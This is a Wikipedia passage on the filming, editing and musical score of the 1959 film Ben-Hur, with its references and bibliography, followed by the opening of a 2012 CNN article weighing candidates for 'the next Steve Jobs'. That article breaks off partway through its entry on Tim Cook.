Piedmont region of Italy to make wigs and beards for the production,[124] and 1,000 feet (300 m) of track laid down for the camera dollies.[80] A workshop employing 200 artists and workmen provided the hundreds of friezes and statues needed.[45] A cafeteria capable of serving more than 5,000 extras in 20 minutes was also built.[78] The mountain village of Arcinazzo Romano,[124] 40 miles (64 km) from Rome, served as a stand-in for the town of Nazareth.[43] Beaches near Anzio were also used,[97] and caves just south of the city served as the leper colony.[108] Some additional desert panoramas were shot in Arizona, and some close-up inserts taken at the MGM Studios, with the final images photographed on February 3, 1958.[49] The film was intended to be historically accurate. Hugh Gray, a noted historian and motion picture studio researcher, was hired by Zimbalist as the film's historical advisor. A veteran of the Hollywood historical epic, it was the last film he worked on.[85] Even the smallest details were historically correct. For example, Wyler asked a professor at the University of Jerusalem to copy a portion of the Dead Sea Scrolls for a scene that called for parchment with Hebrew writing on it.[124] The sea battle was one of the first sequences created for the film,[146] filmed using miniatures in a huge tank on the back lot at the MGM Studios in Culver City, California in November and December 1957.[55][117] More than 40 miniature ships were built for the sequence.[97] The script contained no description of or dialogue for the sea battle, and none had been written by the time the production schedule got around to filming the live-action sequences. According to editor John Dunning, screenwriter Christopher Fry looked at the miniature footage that Dunning had edited into a rough cut, and then wrote the interior and above-deck scenes.[147] Two 175-foot (53 m) long Roman galleys, each of them seaworthy, were built for the live-action segment.[45] The ships were constructed based on plans found in Italian museums for actual ancient Roman galleys.[119] An artificial lake with equipment capable of generating sea-sized waves was built at the Cinecittà studios to accommodate the galleys.[80] A massive backdrop, 200 feet (61 m) wide by 50 feet (15 m) high, was painted and erected to hide the city and hills in the background.[80] Third unit director Richard Thorpe was hired on July 17, 1958, at the request of William Wyler to film the above-decks sequences,[63] but a directing commitment back in the United States required him to leave the production with filming still incomplete.[146] Dunning says he then directed most of the below-decks scenes, including the sequence in which Quintus Arrius' flagship is rammed.[146] To make the scene bloodier, Dunning sought out Italian extras who had missing limbs, then had the makeup crews rig them with fake bone and blood to make it appear as if they had lost a hand or leg during the battle.[146] When Dunning edited his own footage later, he made sure that these men were not on screen for long so that audiences would be upset.[146][m] The above-decks footage was integrated with the miniature work using process shots and traveling mattes.[149] Dunning claimed to have directed most of the critical scene in which Quintus Arrius first confronts Judah Ben-Hur on the galley, as well as the following segment in which Arrius forces the slaves to row at high speed.[146] Some of the dialogue in the scene, he says, was shot by Wyler, but most of the rest (including the high-speed rowing) was shot by Dunning himself.[146] Dunning has stated that he spent several days on the high-speed rowing segment, shooting the sequence over and over from different angles to ensure that there was plenty of coverage. He then edited the immense amount of footage down to obtain a rough cut that matched the script, and then re-edited the footage to be more cinematic and to work emotionally on screen.[146] The galley sequence is one of the few scenes in the film that is not historically accurate, as the Roman navy (in contrast to its early modern counterparts) did not employ convicts as galley slaves.[150] One of the most sumptuous sets was the villa of Quintus Arrius, which included 45 working fountains and 8.9 miles (14.3 km) of pipes.[119] Wealthy citizens of Rome, who wanted to portray their ancient selves, acted as extras in the villa scenes.[117] Among them were the Countess Nona Medici, Count Marigliano del Monte, Count Mario Rivoltella, Prince Emanuele Ruspoli and Prince Raimondo Ruspoli of Italy, the Princess Carmen de Hohenlohe, Prince Cristian Hohenlohe and Count Santiago Oneto of Spain, Baroness Lillian de Balzo of Hungary, and Princess Irina Wassilchikoff of Russia.[78] To recreate the ancient city streets of Jerusalem, a vast set covering 0.5-square-mile (1.3 km2) was built,[9] which included a 75-foot (23 m) high Joppa Gate.[117] The sets were so vast and visually exciting that they became a tourist attraction.[9] Tour buses visited the site hourly, and entertainers such as Harry Belafonte, Kirk Douglas, Susan Hayward, Audrey Hepburn, and Jack Palance traveled to Italy to see the production.[151] The huge sets could be seen from the outskirts of Rome, and MGM estimated that more than 5,000 people were given tours of the sets.[80] Another 25,000 tourists stopped by the studios to see the production in progress.[124] *The New York Times* reported that thousands more viewed the sets without entering the grounds.[80] Dismantling the sets cost $125,000.[80] Almost all the filmmaking equipment was turned over to the Italian government, which sold and exported it.[80] MGM turned the title to the artificial lake over to Cinecittà.[80] MGM retained control over the costumes and the artificial lake background, which went back to the United States.[80] The chariots were also returned to the U.S., where they were used as promotional props.[80] The life-size galleys and pirate ships were dismantled to prevent them from being used by competing studios.[80] Some of the horses were adopted by the men who trained them, while others were sold.[80] Many of the camels, donkeys, and other exotic animals were sold to circuses and zoos in Europe.[80] ## Post-production [edit]### Editing [edit]According to editor John D. Dunning, the first cut of the film was four and one-half hours long[146] (although a mass media report in March 1959 indicated the running time was closer to five hours).[152] A total of 1,100,000 feet (340,000 m) was shot for the film.[49] William Wyler said his goal was to bring the running time down to three and a half hours.[152] Editors Dunning and Winters saw their job as condensing the picture without losing any information or emotional impact.[146] Dunning later said that he felt some of the leper colony sequence could have been cut.[146] The most difficult editing decisions, he also said, came during scenes that involved Jesus Christ, as these contained almost no dialogue and most of the footage was purely reaction shots by actors.[153] Editing was also complicated by the 70mm footage being printed. Because no editing equipment (such as the Moviola) existed that could handle the 70mm print, the 70mm footage would be reduced to 35mm and then cut. This caused much of the image to be lost, and according to Dunning "you didn't even know what you had until you cut the negative. We'd print up the 70 now and then, and project it to see what we were getting against what we were seeing in the 35. We really did it blind."[154] When the film was edited into its final form, it ran 213 minutes and included just 19,000 feet (5,800 m) of film.[49] It was the third-longest motion picture ever made at the time, behind *Gone with the Wind* and *The Ten Commandments*.[49] The editors had little to do with inserting music into the film. Composer Miklós Rózsa viewed a near-final cut of the film, and then made scoring notes. Afterward, Rózsa consulted with the editors, who made suggestions, and then wrote his score and had music inserted where he wished.[155] ### Musical score [edit]The film score was composed and conducted by Miklós Rózsa, who scored most of MGM's epics. The composer was hired by Zimbalist[156] (Zimbalist had previously commissioned and then set aside a score from Sir William Walton).[157] Rózsa conducted research into Greek and Roman music of the period to give his score an archaic sound while still being modern. Rózsa himself directed the 100-piece MGM Symphony Orchestra during the 12 recording sessions (which stretched over 72 hours). The soundtrack was recorded in six-channel stereo.[145] More than three hours of music were composed for the film,[158] and two-and-a-half hours of it were finally used, making it the longest score ever composed for a motion picture at the time (until the soundtrack to *Zack Snyder's Justice League* in 2021).[159] Unlike previous efforts for films set in the distant past, Rózsa quoted no ancient Greek or Roman musical themes in his score.[159] But he did re-use music he had composed for *Quo Vadis* in his *Ben-Hur* score.[159] Several times when Jesus Christ is depicted on screen, the full orchestra is replaced with a pipe organ.[145] Rózsa won his third Academy Award for his score. As of 2001[update], it was the only musical score in the ancient and medieval epic genre of film to win an Oscar.[159] Like most film musical soundtracks, it was issued as an album for the public to enjoy as a distinct piece of music. The score was so lengthy that it had to be released in 1959 on three LP records, although a one-LP version with Carlo Savina conducting the Symphony Orchestra of Rome was also issued. In addition, to provide a more "listenable" album, Rózsa arranged his score into a "*Ben-Hur* Suite", which was released on Lion Records (an MGM subsidiary which issued low-priced records) in 1959.[158][160] This made the *Ben-Hur* film musical score the first to be released not only in its entirety but also as a separate album.[159] The *Ben-Hur* score has been considered to be the best of Rózsa's career.[161] The musical soundtrack to *Ben-Hur* remained deeply influential into the mid 1970s, when film music composed by John Williams for films such as *Jaws*, *Star Wars*, and *Raiders of the Lost Ark* became more popular among composers and film-goers.[162] Rózsa's score has since seen several notable re-releases. In 1967, Rózsa himself arranged and recorded another four-movement suite of music from the film with the Nuremberg Symphony Orchestra. It was released by Capitol Records. In 1977, Decca Records recorded an album of highlights from the score featuring the United Kingdom's National Philharmonic Orchestra and Chorus. Sony Music reissued the first two of the three-LP 1959 recording (along with selections from the film's actual soundtrack) as a two-CD set in 1991.[163] Rhino Records issued a two-CD release in 1996, which featured remastered original recordings, outtakes from the original film soundtrack, alternate and recording outtakes, and extended versions of some musical sequences.[159][163] In 2012, *Film Score Monthly* and WaterTower Music issued a limited edition five-CD set of music from the film. It included a remastered film score (as heard on screen) on two discs; two discs of alternate versions, additional alternate versions, and unused tracks (presented in film order); and the contents of the three-LP MGM and one-LP Lion Records albums on a single disc.[163] ## References [edit]- Notes **^**MGM had extensive amounts of income in Italian lira. In the wake of World War II the Italian government banned the movement of lira out of Italy as a means of stabilizing the inflation-plagued Italian economy. Finding a way to spend this money in Italy would free up resources elsewhere for the studio.**^**Instead of being healed as Christ carries His cross, the women are healed after accidentally soaking in rainwater stained by the blood of Jesus after the crucifixion.**^**The newspaper would later informally retract this statement, and admit in 1959 that Anderson had been too ill to do any writing.**^**Vidal says he worked on the script for three months. Fry did not arrive in Rome until May 1958 and Vidal says he did not leave Rome until mid or late June, so Vidal's arrival in Rome can be deduced with some accuracy. See: Vidal, p. 73; Herman, p. 400–401.**^**Buford also says MGM offered Lancaster $1 million to star in the picture, and to pay off $2.5 million in debts owed by Lancaster's production company. Still Lancaster refused. See: Buford, p. 190.**^**Hudson's agent, Henry Willson, refused to allow Hudson to take the role, believing that historical costume epics were not right for his client. See: Bret, p. 95; Gates and Thomas, p. 125.**^**Industry columnist Louella Parsons claimed that Horne was all but cast in the film, due to his performance in*The Bridge on the River Kwai*. See: Hofler, p. 320.**^**This inspired Douglas to make*Spartacus*a year later.[54]**^**The novel had been adapted to the theater during Wallace's lifetime. Wallace refused to allow any theatrical production which depicted Christ to go forward, so a beam of light was used to represent the presence of Jesus. See: Lennox, p. 169.**^**Most sources agree that the lenses were worth $100,000 each. But at least one source puts the value of each lens at $250,000. See: Herman, p. 406.**^**The Libyan government learned that the production was scheduled to shoot in Israel. Libya, which was at war with Israel, had enacted legislation in 1957 banning any individual or company from doing business with Israel or Jews.**^**There is dispute over the number of extras used in the chariot race scenes. At least one non-contemporary source puts the number at 15,000. See: Cyrino, p. 73.**^**There was so much footage of the sea battle left over that Charlton Heston used it in his 1972 film*Antony and Cleopatra*.[148] - Citations - ^ **a**Pryor, Thomas M. "**b***Ben-Hur*to Ride for Metro Again."*The New York Times.*December 8, 1952. **^**Pryor, Thomas M. "Metro to Produce 18 Films in '53-'54."*The New York Times.*October 8, 1953.**^**Pryor, Thomas M. "Bank of America Wins Movie Suit."*The New York Times.*November 4, 1953.**^**"Kidd Will Repeat Dances for Movie."*The New York Times.*July 29, 1954.**^**Pryor, Thomas M. "Hollywood Dossier: New Market Analysis Is Set Up."*The New York Times.*December 5, 1954.**^**"Six Books Bought for Fox Films."*The New York Times.*September 10, 1955.**^**Pryor, Thomas M. "Sidney Franklin Resigns at M-G-M."*The New York Times.*June 17, 1958.**^***United States v. Paramount Pictures, Inc.*, 334 US 131 (1948)- ^ **a****b****c****d****e****f****g****h**Block and Wilson, p. 411.**i** **^**Eagan, p. 558–559.- ^ **a****b**Eagan, p. 560.**c** - ^ **a****b****c****d****e****f****g****h****i**Eagan, p. 559.**j** - ^ **a****b**Hawkins, Robert F. "Viewed on the Bustling Italian Film Scene."**c***The New York Times.*February 16, 1958. - ^ **a****b****c**Solomon, p. 207.**d** **^**1634–1699: McCusker, J. J. (1997).*How Much Is That in Real Money? A Historical Price Index for Use as a Deflator of Money Values in the Economy of the United States: Addenda et Corrigenda*(PDF). American Antiquarian Society. 1700–1799: McCusker, J. J. (1992).*How Much Is That in Real Money? A Historical Price Index for Use as a Deflator of Money Values in the Economy of the United States*(PDF). American Antiquarian Society. 1800–present: Federal Reserve Bank of Minneapolis. "Consumer Price Index (estimate) 1800–". Retrieved February 29, 2024.- ^ **a**Schumach, Murray. "Metro Stills Leo for the First Time."**b***The New York Times.*November 26, 1959. - ^ **a****b****c****d****e**Vidal, p. 73.**f** - ^ **a**Cole, p. 379.**b** - ^ **a****b**Morsberger and Morsberger, p. 482.**c** **^**Morsberger and Morsberger, p. 489.- ^ **a****b**Kaplan, p. 440.**c** **^**Freiman, p. 24.**^**"Wyler Weighs Offer."*The New York Times.*February 5, 1957.- ^ **a**Herman, p. 394.**b** - ^ **a****b**Herman, p. 395.**c** **^**Makiewicz, Don. "Tour Around the Lot."*The New York Times.*April 7, 1957.- ^ **a****b**Pryor, Thomas M. "British Plan Film on 'Silent Enemy'."**c***The New York Times.*June 13, 1957. **^**Pryor, Thomas M. "Debbie Reynolds Is Cast By M-G-M."*The New York Times.*January 4, 1958.**^**Herman, p. 393.**^**Eldridge, p. 15.- ^ **a****b****c****d****e****f**Herman, p. 400.**g** - ^ **a**Madsen, p. 342.**b** - ^ **a****b****c****d**"'Ben-Hur' Credit Is Urged for Fry."**e***The New York Times.*October 29, 1959. - ^ **a**Kaplan, p. 441.**b** - ^ **a****b****c**Kaplan, p. 442.**d** - ^ **a****b**Herman, p. 396.**c** - ^ **a**Kaplan, p. 445.**b** - ^ **a**Giddins, p. 247.**b** **^**Joshel, Malamud, and McGuire, p. 37–38.**^**"Chuck Roast."*The Advocate.*June 25, 1996, p. 82. Accessed December 25, 2011.**^**Quoted in Kaplan, p. 444.**^**Feeney, p. 66–73.- ^ **a****b****c****d****e****f**Herman, p. 401.**g** **^**Kaplan, p. 444–445.- ^ **a****b****c****d**Hudgins, Morgan. "'Ben-Hur' Rides Again."**e***The New York Times.*August 10, 1958. **^**Hezser, p. 136–138.- ^ **a****b****c**Herman, p. 412.**d** **^**Giddins, p. 248.- ^ **a****b****c****d****e**"'Ben-Hur to Race for 213 Minutes."**f***The New York Times.*October 7, 1959. **^**Alexander, p. 84–85.- ^ **a**Right, Gordon (May 2006). "Getting It Right the Second Time". British Lights Film Journal. Retrieved December 25, 2011.**b** **^**Giddins, p. 247–248.**^**Herman, p. 395–396.**^**Rode, p. 132.- ^ **a**Pryor, Thomas M. "Heston Will Star in M-G-M 'Ben-Hur'."**b***The New York Times.*January 23, 1958. **^**Pryor, Thomas M. "Goetz to Produce 3 Columbia Films."*The New York Times.*April 14, 1958.**^**McAlister, p. 324, n. 59.**^**Kinn and Piazza, p. 135.**^**"Obituary: Stewart Granger".*The Independent*. 18 August 1993. Retrieved 30 June 2015.**^**"An Actor to Watch,"*Coronet,*January 1, 1959, p. 22.**^**Magill, p. 150.- ^ **a****b**Herman, p. 402.**c** - ^ **a**Pryor, Thomas M. "Frenke Signs Pact With Seven Arts."**b***The New York Times.*August 4, 1958. **^**Heston, p. 196.**^**Pryor, Thomas M. "Seven Arts Unit Joins Paramount."*The New York Times.*July 18, 1958.- ^ **a**Parish, Mank, and Picchiarini, p. 27.**b** - ^ **a**Pryor, Thomas M. "Israeli Actress Cast in 'Ben-Hur'."**b***The New York Times.*May 17, 1958. **^**Pratt, p. 135.**^**"An Actor to Watch,"*Coronet,*January 1, 1959, p. 71.- ^ **a**Pryor, Thomas M. "Seven Arts Group Teaming With U.A."**b***The New York Times.*April 4, 1958. **^**Morsberger and Morsberger, p. 481.**^**Pryor, Thomas M. "TV Suit Is Settled By United Artists."*The New York Times.*March 19, 1958.**^**Monush, p. 296.- ^ **a****b**Cyrino, p. 74.**c** - ^ **a****b****c****d****e**Herman, p. 405.**f** **^***Opera News*. Metropolitan Opera Guild. 1960. p. 79.**^**Herman, p. 404–405.- ^ **a****b****c****d**Freiman, p. 25.**e** **^**Godbout, Oscar. "'Lolita' Bought By Screen Team."*The New York Times.*September 13, 1958.- ^ **a****b****c****d****e****f****g****h****i****j****k****l****m****n****o****p**Hawkins, Robert F. "Answer to a Question: Quo Vadis, 'Ben-Hur'?"**q***The New York Times.*January 11, 1959. **^**Sultanik, p. 299.- ^ **a****b**Herman, p. 406.**c** - ^ **a**Hall and Neale, p. 145.**b** **^**Hall and Neale, p. 145–146.- ^ **a**Eldridge, p. 57.**b** - ^ **a****b**Haines, p. 114.**c** **^**Eyman, p. 351.**^**Block and Wilson, p. 333.**^**Belton, p. 332.**^**Altman, p. 158.**^**Hall and Neale, p. 153.**^**Freiman, p. 31.**^**Herman, p. 391.**^**Herman, p. 392.- ^ **a**Herman, p. 410.**b** **^**Freiman, p. 26, 30.- ^ **a****b****c****d**Freiman, p. 27.**e** - ^ **a**"Ben-Hur." AFI Catalog of Feature Films. American Film Institute. 2014. Accessed 2014-03-13.**b** **^**Hawkins, Robert F. "Observations on the Italian Screen Scene."*The New York Times.*August 4, 1957.**^**Pryor, Thomas M. "Two Stars Named for Wald's Movie."*The New York Times.*August 10, 1957.- ^ **a**Pryor, Thomas M. "Hollywood's Varied Vistas."**b***The New York Times.*January 12, 1958. **^**Pryor, Thomas M. "Libya Cancels U.S. Film Permit."*The New York Times.*March 12, 1958.**^**"Ben-Hur," AFI Catalog of Feature Films, American Film Institute, 2014, accessed 2014-03-13; Otman and Karlberg, p. 33.**^**Schiffer, Robert L. "Israel Screen Scene."*The New York Times.*June 8, 1958.**^**Kaplan, p. 444.**^**Herman, p. 403.**^**Herman, p. 404.- ^ **a**Herman, p. 409.**b** - ^ **a**Solomon, p. 213.**b** **^**Pryor, Thomas M. "Mirisch to Film New Uris Novel."*The New York Times.*January 8, 1959.**^**Wyler, p. 216.- ^ **a****b**Dunning, p. 252.**c** **^**Solomon, p. 15.**^**Frayling, p. 97.**^**Dunning, p. 251.**^**Brownlow, p. 413.- ^ **a****b****c****d****e****f****g****h****i****j****k**Cyrino, p. 73.**l** - ^ **a****b**Coughlan, p. 119.**c** - ^ **a****b****c****d**Freiman, p. 29.**e** - ^ **a****b**Solomon, p. 210.**c** **^**Pomerance, p. 9.- ^ **a**Herman, p. 398.**b** **^**Solomon, p. 207, 210.- ^ **a****b****c****d****e**Freiman, p. 7.**f** - ^ **a**Freiman, p. 28.**b** **^***Ben-Hur**Rides a Chariot Again*. Life magazine. January 19, 1959. p. 71.- ^ **a****b**Didinger and Macnow, p. 157.**c** - ^ **a**Solomon, p. 129.**b** **^**Raymond, p. 32–33.**^**Herman, p. 405–406.**^**"Romans in Mob Scene Not in 'Ben Hur' Script."*United Press International.*June 7, 1958.**^**Dunning, p. 251–252.- ^ **a****b****c**Herman, p. 407.**d** - ^ **a**Raymond, p. 32.**b** **^**Canutt and Drake, p. 16–19.**^**Powell, p.254.**^**"Sam Zimbalist, 57, Film-Maker, Dead."*The New York Times.*November 5, 1958.**^**Herman, p. 408–409.**^**Herman, p. 408.**^**Sandys, p. 5.**^**Nichols, Peter M. "Home Video: All of 'Ben-Hur' and Its Secrets."*The New York Times.*March 16, 2001.**^**"Cinecittà, c'è l'accordo per espandere gli Studios italiani" (in Italian). 30 December 2021. Retrieved 10 September 2022.- ^ **a**Freiman, p. 26.**b** **^**Eagan, p. 559–560.- ^ **a****b**Freiman, p. 30.**c** - ^ **a****b****c****d****e****f****g****h****i****j**Dunning, p. 253.**k** **^**Dunning, p. 252–253.**^**Rothwell, p. 156.**^**Brosnan, p. 28.**^**Casson, p. 325–326.**^**Raymond, p. 31.- ^ **a**Pryor, Thomas M. "Extras Negotiate for Pay Increases."**b***The New York Times.*March 15, 1959. **^**Dunning, p. 253–254.**^**Dunning, p. 255.**^**Dunning, p. 254.**^**Herman, p. 411.**^**Rózsa in a Today (BBC Radio 4) interview, BBC Sound Archives- ^ **a**"On the Sound Track."**b***Billboard.*July 20, 1959, p. 19. Accessed December 27, 2011. - ^ **a****b****c****d****e**Winkler, p. 329.**f** **^**"Discourse."*Billboard.*November 23, 1959, p. 24. Accessed April 21, 2012.**^**MacDonald, p. 1966.**^**Winkler, p. 329–330.- ^ **a****b**DeWald, Frank K. (2012). "**c***Ben-Hur*. Online Liner Notes".*Film Score Monthly*. Retrieved April 21, 2012. ## Bibliography [edit]- Alexander, Shana. "Will the Real Burt Please Stand Up?" *Life.*September 6, 1963. - Altman, Rick (1992). *Sound Theory, Sound Practice*. Florence, Ky.: Psychology Press. ISBN 978-0-415-90457-5. - Belton, John (2012). *American Cinema/American Culture*. New York: McGraw-Hill Higher Education. ISBN 978-0-07-744347-4. - Block, Alex Ben; Wilson, Lucy Autrey (2010). *George Lucas's Blockbusting: A Decade-by-Decade Survey of Timeless Movies Including Untold Secrets of Their Financial and Cultural Success*. New York: HarperCollins. ISBN 978-0-06-196345-2. - Brosnan, John (1976). *Movie Magic: The Story of Special Effects in the Cinema*. London: New American Library. ISBN 0-349-10368-2. - Brownlow, Kevin (1968). *The Parade's Gone By*. Berkeley, Calif.: University of California Press. ISBN 978-0-520-03068-8. - Canutt, Yakima; Drake, Oliver (1979). *Stunt Man: The Autobiography of Yakima Canutt With Oliver Drake*. Norman, Okla.: University of Oklahoma Press. ISBN 978-0-8061-2927-3. - Casson, Lionel (1971). *Ships and Seamanship in the Ancient World*. Princeton, N.J.: Princeton University Press. ISBN 0-691-03536-9.editions:LHns-db8hRIC. - Cole, Clayton. "Fry, Wyler, and the Row Over *Ben-Hur*in Hollywood."*Films and Filming.*March 1959. - Coughlan, Robert. "Lew Wallace Got *Ben-Hur*Going—and He's Never Stopped."*Life.*November 16, 1959. - Cyrino, Monica Silveira (2005). *Big Screen Rome*. Malden, Mass.: Blackwell. ISBN 978-1-4051-1683-1. - Didinger, Ray; Macnow, Glen (2009). *The Ultimate Book of Sports Movies: Featuring the 100 Greatest Sports Films of All Time*. Philadelphia: Running Press. ISBN 978-0-7624-3921-8. - Dunning, John D. (1995). "'Good Stuff' Never Changes: John D. Dunning". In Oldham, Gabriella (ed.). *First Cut: Conversations With Film Editors*. Berkeley, Calif.: University of California Press. ISBN 0-520-07586-2. - Eagan, Daniel (2010). *America's Film Legacy: The Authoritative Guide to the Landmark Movies in the National Film Registry*. New York: Continuum. ISBN 978-0-8264-2977-3. - Eldridge, David (2006). *Hollywood's History Films*. London: I.B.Tauris. ISBN 978-1-84511-061-1. - Eyman, Scott (1997). *The Speed of Sound: Hollywood and the Talkie Revolution 1926–1930*. New York: Simon and Schuster. ISBN 978-1-4391-0428-6. - Feeney, F.X. "Ben-Gore: Romancing the Word With Gore Vidal." *Written By.*December 1997-January 1998. - Frayling, Christopher (2006). *Spaghetti Westerns: Cowboys and Europeans From Karl May to Sergio Leone*. London: I.B. Tauris & Co. ISBN 978-1-84511-207-3. - Freiman, Ray (1959). *The Story of the Making of Ben-Hur: A Tale of the Christ, from Metro-Goldwyn-Mayer*. New York: Random House. - Giddins, Gary (2010). *Warning Shadows: Home Alone with Classic Cinema*. New York: W. W. Norton. ISBN 978-0-393-33792-1. - Haines, Richard W. (1993). *Technicolor Movies: The History of Dye Transfer Printing*. Jefferson, N.C.: McFarland. ISBN 978-0-7864-1809-1. - Hall, Sheldon; Neale, Stephen (2010). *Epics, Spectacles, and Blockbusters: A Hollywood History*. Detroit: Wayne State University Press. ISBN 978-0-8143-3008-1. - Herman, Jan (1997). *A Talent for Trouble: The Life of Hollywood's Most Acclaimed Director, William Wyler*. New York: Da Capo Press. ISBN 978-0-306-80798-5. - Heston, Charlton (1995). *In the Arena*. New York: Simon & Schuster. ISBN 0-684-80394-1. - Hezser, Catherine (2009). "Ben Hur and Ancient Jewish Slavery". *A Wandering Galilean: Essays in Honour of Seán Freyne*. Boston: Brill Academic Publishers. ISBN 978-90-04-17355-2. - Joshel, Sandra R.; Malamud, Margaret; McGuire, Donald T. Jr. (2005). *Imperial Projections: Ancient Rome in Modern Popular Culture*. Baltimore: Johns Hopkins University Press. ISBN 978-0-8018-8268-5. - Kaplan, Fred (1999). *Gore Vidal: A Biography*. New York: Doubleday. ISBN 0-385-47703-1.editions:Y7OESYrg5J0C. - Kinn, Gail; Piazza, Jim (2008). *The Academy Awards: The Complete Unofficial History*. New York: Black Dog & Leventhal. ISBN 978-1-57912-772-5. - MacDonald, Laurence E. (1998). *The Invisible Art of Film Music: A Comprehensive History*. New York: Ardsley House. ISBN 978-0-8108-9058-9. - Madsen, Axel (1973). *William Wyler: The Authorized Biography*. New York: Crowell. ISBN 978-0-690-00083-2. - Magill, Frank Northen; Hanson, Stephen L.; Hanson, Patricia King (1981). *Magill's Survey of Cinema: English Language Films, Second Series*. Englewood Cliffs, N.J.: Salem Press. ISBN 978-0-89356-232-8. - McAlister, Melani (2005). *Epic Encounters: Culture, Media, and U.S. Interests in the Middle East Since 1945*. Berkeley, Calif.: University of California Press. ISBN 978-0-520-24499-3. - Monush, Barry (2003). *Screen World Presents the Encyclopedia of Hollywood Film Actors: From the silent era to 1965*. New York: Applause Theatre & Cinema Books. ISBN 978-1-55783-551-2. - Morsberger, Robert Eustis; Morsberger, Katharine M. (1980). *Lew Wallace, Militant Romantic*. New York: McGraw-Hill. ISBN 978-0-07-043305-2. - Parish, James Robert; Mank, Gregory W.; Picchiarini, Richard (1981). *The Best of MGM: The Golden Years (1928–59)*. Westport, Conn.: Arlington House. ISBN 0-87000-488-3. - Pomerance, Murray (2005). *American Cinema of the 1950s: Themes and Variations*. New Brunswick, N.J.: Rutgers University Press. ISBN 978-0-8135-3673-6. - Powell, Nosher; Hall, William (2001). *Nosher*. London: John Blake Publishing, Limited. ISBN 978-1-85782-491-9. - Pratt, Douglas (2004). *Doug Pratt's DVD: Movies, Television, Music, Art, Adult, and More!, Volume 1*. New York: UNET 2 Corporation. ISBN 1-932916-00-8. - Raymond, Emilie (2006). *From My Cold, Dead Hands: Charlton Heston and American Politics*. Lexington, Ky.: University Press of Kentucky. ISBN 0-8131-7149-0. - Rode, Alan K. (2012). *Charles McGraw: Biography of a Film Noir Tough Guy*. Jefferson, N.C.: McFarland. ISBN 978-1-4766-0035-2. - Rothwell, Kenneth S. (2004). *A History of Shakespeare on Screen: A Century of Film and Television*. New York: Cambridge University Press. ISBN 978-0-521-54311-8. - Sandys, John (2006). *Movie Mistakes Take 4*. London: Virgin. ISBN 0-7535-1091-X. - Solomon, Jon (2001). *The Ancient World in the Cinema*. New Haven, Conn.: Yale University Press. ISBN 978-0-300-08337-8. - Sultanik, Aaron (1986). *Film, a Modern Art*. New York: Associated University Presses. ISBN 978-0-8453-4752-2. - Vidal, Gore. "How I Survived the Fifties." *The New Yorker*. October 2, 1995. - Winkler, Martin M. (2001). *Classical Myth & Culture in the Cinema*. New York: Oxford University Press. ISBN 978-0-19-513004-1. - Wyler, William (2007). "William Wyler". In Stevens, Jr., George (ed.). *Conversations with the Great Moviemakers of Hollywood's Golden Age at the American Film Institute*. New York: Random House. ISBN 978-1-40-003314-0.

2024-10-12 00:00:00

2014-03-18 00:00:00

website

wikipedia.org

Wikimedia Foundation, Inc.

http://www.cnn.com/2012/10/02/tech/innovation/next-steve-jobs/index.html?hpt=hp_c2

Who is the next Steve Jobs (and is there one)? | CNN Business

Doug Gross

### Story highlights Since the death of Steve Jobs, the tech world has looked for its next visionary Mark Zuckerberg, Amazon's Jeff Bezos, Yahoo's Marissa Mayer are names that come up At Apple, CEO Tim Cook and vice president Jonathan Ive have big shoes to fill Most agree there will never truly be "the next Steve Jobs" It’s a loaded question, one with no clear answer. But in the year since Apple’s co-founder and visionary CEO died, it’s been asked in tech circles over and over: Who is the next Steve Jobs? There’s one easy response. It’s safe to say that no figure in the tech industry will perfectly duplicate the unique blend of vision, salesmanship, mystique and eye for detail possessed by Jobs, who died one year ago Friday. And it’s complicated further, some say, by the fact that for much of his own life, many wouldn’t have predicted Jobs himself would earn tech-icon status. “Steve Jobs had a strange career. He really wasn’t celebrated as a genius until really late,” said Leander Kahney, editor of the Cult of Mac blog and author of books on Apple, including “Inside Steve’s Brain.” Not until Jobs returned to Apple and introduced the iPod and iPhone did people begin to praise him as a modern-day Thomas Edison, Kahney said. “He was dismissed before then as a marketing guy, a fast talker who didn’t know much about technology. He only really was lionized in the last four or five years.” #WhatSteveJobsTaughtMe: Share your thoughts on his life and career But industry observers abhor a vacuum. Futile though it might be, it’s perhaps human nature to speculate about who could emerge to fill the void left by the passing of tech’s biggest personality and most recognizable face. One can make cases for or against a handful of nominees. And no list is long enough to include an as-yet unknown creator who may be birthing the industry’s next game-changer in a garage or dorm room somewhere. Did Apple’s fanboy fever peak with Steve Jobs? But here are some names worth considering, with thoughts both for and against their candidacies: **Jeff Bezos, CEO, Amazon** **Pros:** Bezos actually has a host of traits that mirror Jobs. Like Jobs was with Apple, he’s the founder of Amazon as well as its CEO. Being a part of a company’s life story helps. As much as anyone, Bezos also captures a bit of Jobs’ panache at live events. At last year’s rollout of the Kindle Fire, he got high marks for introducing a game-changing product in a stylized fashion, then getting off the stage. (Tech giants Google and Microsoft have been accused of being rambling and unfocused at similar unveilings.) Reports say Bezos shares Jobs’ penchant for attention to detail (some would say micromanaging) and, like Jobs, he’s been willing to take the company into new and unexpected directions. “I’ve met Bezos personally, and he is mesmeric. Brilliant smile, quick mind, very engaging and decisive,” Kahney told CNN. “He has the same obsession with the ordinary consumer; to make and sell things from the consumer’s point of view. … Bezos has Jobs’ focus and drive. He’s a little bit maniacal in his drive and ambition.” **Cons: **Despite the Kindle line, Amazon is, at its core, a content company. The mobile devices are a means of delivering books, music, movies and other data to customers as directly as possible. Will the public ever be as excited about the CEO of the company that peddles e-books and data-storage space as it was about the one that sold it its personal computers, laptops, phones and music players? **Mark Zuckerberg, CEO, Facebook** **Pros:** The Steves – Jobs and Wozniak – had their garage. Zuckerberg had his Harvard dorm room. And in those two rooms, perhaps the two best-known origin stories in tech were born. As head of the social network that has changed the way people use the Internet, Zuckerberg is maybe the only tech boss who, like Jobs, has become a household name. (“The Social Network” didn’t hurt.) He created a product that millions of people now use. And he’s even cultivated his own trademark, casual-wear style, as the Zuckerberg hoodie is now almost as iconic as Jobs’ mock turtleneck. “Zuckerberg has some of the characteristics (of Jobs), and perhaps the most important one – the pursuit of a vision,” Kahney said. “That sets him apart.” **Cons:** He’s gotten better at speaking in public. But as a pitchman, Zuckerberg still falls miles short of the charismatic Jobs. It’s seems Zuck would rather be the idea man behind the scenes than front-and-center when it comes time to sell the final product. Also, the fact that Facebook’s stock price is not already racing toward Google/Apple heights doesn’t help. **Tim Cook, CEO, Apple** **Pros: **Well, there’s the obvious one. Job’s was Apple’s CEO. Now Cook is. At the helm of the company, Cook gets to be the face of every new innovation rolled out by Apple. He’s got the biggest stage and brightest spotlight in which to put himself forward. **Cons:** Cook comes from more of a business background than one of innovation and design. He may masterfully steer Apple’s course for years to come, but, rightly or not, few observers at this juncture are inclined to give him credit for vision, or influence over products’ 